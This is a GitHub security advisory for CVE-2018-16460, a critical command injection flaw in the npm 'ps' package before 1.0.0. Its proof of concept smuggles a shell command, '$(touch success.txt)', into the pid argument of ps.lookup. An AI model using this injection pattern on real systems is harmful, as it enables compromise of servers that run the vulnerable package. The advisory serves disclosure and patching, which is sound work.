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ps Enables OS Command Injection

Critical severity GitHub Reviewed Published Sep 17, 2018 to the GitHub Advisory Database • Updated Sep 11, 2023

Package

npm ps (npm)

Affected versions

< 1.0.0

Patched versions

1.0.0

Description

Versions of ps before 1.0.0 are vulnerable to command injection.

Proof of concept:

var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
    if (err) {throw err;}
    if (proc) {
        console.log(proc);  // Process name, something like "node" or "bash"
    } else {
        console.log('No such process');
    }
});

// Result: The file success.txt will exist on the filesystem if the touch command was executed

Recommendation

Update to version 1.0.0 or later.

References

Published to the GitHub Advisory Database Sep 17, 2018
Reviewed Jun 16, 2020
Last updated Sep 11, 2023

Severity

Critical
9.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2018-16460

GHSA ID

GHSA-cfhg-9x44-78h2

Source code

No known source code
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